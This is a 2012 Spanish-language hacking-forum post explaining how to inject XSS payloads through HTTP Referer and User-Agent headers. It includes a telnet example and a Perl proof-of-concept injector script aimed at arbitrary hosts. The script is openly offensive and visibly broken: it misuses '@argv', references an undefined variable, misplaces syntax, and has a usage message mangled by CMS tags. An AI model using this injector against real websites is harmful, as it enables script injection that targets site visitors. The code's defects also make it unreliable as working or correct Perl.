Inyección XSS en las cabeceras

  • 0 Respuestas
  • 2603 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
  • Skype: thebrowfc
    • Ver Perfil

Inyección XSS en las cabeceras

  • en: Junio 23, 2012, 04:24:40 pm
La fundamentacion de este tipo de errores XSS se encuentra en el texto "Header Based Exploitation" de Zenomorph-CGISecurity, cuyo enlace puede
encontrarse al final de este articulo, en el apartado de enlaces y recursos.
 
Al establecerse una comunicación HTTP, como en todas, existe un intercambio de datos. El cliente le dice al servidor que quiere que se le muestre página, que la interfaz de su navegador esta en castellano, que su navegador es tal, que acepta x tipos de archivo, y que proviene de x sitio, por ejemplo. Logicamente la mayor parte de ese intercambio se produce automaticamente entre el navegador y el servidor, teniendo el usuario unicamente, la posibilidad de decidir que es lo que quiere del servidor (que se le muestre x pagina).

Muchas páginas usan algunos datos de la sesión HTTP del usuario para mostrarlos como sistemas de registro, estadisticas, o un simple mensaje tipo "Su navegador es: (direccion)" o "Usted proviene de: (referer)" entre muchas otras cosas.

El problema se plantea si un usuario con malas ideas inicia una sesion con el servidor, siendo el mismo el que intercambie los datos con el servidor, e introduciendo los datos que a el le de la gana (HTML, JS...).

# telnet xxx 80

Trying xxx...
Connected to xxx.

Escape character is '^]'.

GET index.html HTTP/1.0
Referer:
User-agent:

<...>

Aqui os pongo un simple codigo ilustrativo cuya funcion es inyecta los datos de USER-AGENT y HTTP-REFERER especificados por el usuario desde la linea de comandos. La labor de ver si la pagina no filtra debera ser manual.

header_xss.pl

Código: [Seleccionar]
#!/usr/bin/perl -w

# XSS-HEADER injector

# Prueba de concepto sin estar probada :)
# taseh'03

use IO::Socket;

my $host = @argv[0];
my $inject = @argv[1];
my $inj3ct = @argv[2];
my $gett = "/"; # cambiar por lo que queremos que se reclame... :)

if (@argv < 2){

print "\n\n{jumi [*3] [http://www.govannom.org/seguridad/web_cgi/xss_taseh.txt]} - XSS-Header injector -prueba de concepto-";
print "\nUso: {jumi [*3] [http://www.govannom.org/seguridad/web_cgi/xss_taseh.txt]}   ";
exit;

}

print "Conectando con $host...";
my $socket = IO::Socket::INET->new(
   Proto => 'tcp',
   PeerAddr => $host,
   PeerPort => "80", or die"\n\nNo puedo conectar con $server";
                   # ^^ cambiar puerto si es distinto :)
}

$socket->autoflush(1);
print $socket "GET $gett HTTP/1.0\n";
print $socket "Host: $host\n";
print $socket "Referer: $inject\n"; # inyecta referer falseado
print $socket "User-Agent: $inj3ct\n\n"; # inyecta cli.id falseado

print "\nInyeccion finalizada :).\n";

close $socket;

exit;

Bien, para comprobar si la cadena que queriamos inyectar ha sido realmente inyectada en la pagina de salida basta con visitarla o bajarnosla y hacer un cat pagina.html | grep  y ver si esta o simplemente visualizarla y ver el efecto de nuestro codigo inyectado.

Fuente Govannom.org
« Última modificación: Junio 23, 2012, 04:29:14 pm por Pr0ph3t »
Twitter: @The_Pr0ph3t
[email protected]

 

Destripando la logica de una inyeccion [Mysql Doble Query Error Based]

Iniciado por q3rv0

Respuestas: 4
Vistas: 4467
Último mensaje Junio 15, 2013, 11:08:53 am
por morodog
Subir Shell a través de Inyección SSI (Server-side include)

Iniciado por CalebBucker

Respuestas: 7
Vistas: 6026
Último mensaje Junio 23, 2012, 08:44:07 am
por s3cur1tyr00t
Sqlsus 0.2 Liberado - Inyección de MySQL y Adquisición de herramientas.

Iniciado por dracko.rx

Respuestas: 0
Vistas: 2975
Último mensaje Febrero 24, 2010, 03:08:27 pm
por dracko.rx
Inyección SQLi Manual Metodo (POST)

Iniciado por OswireW0rding

Respuestas: 3
Vistas: 4901
Último mensaje Marzo 16, 2014, 11:59:48 pm
por Snifer
Métodos para bypassear un WAF en Inyección SQLi

Iniciado por M5f3r0

Respuestas: 6
Vistas: 4835
Último mensaje Agosto 05, 2013, 01:24:32 pm
por Mr. Foster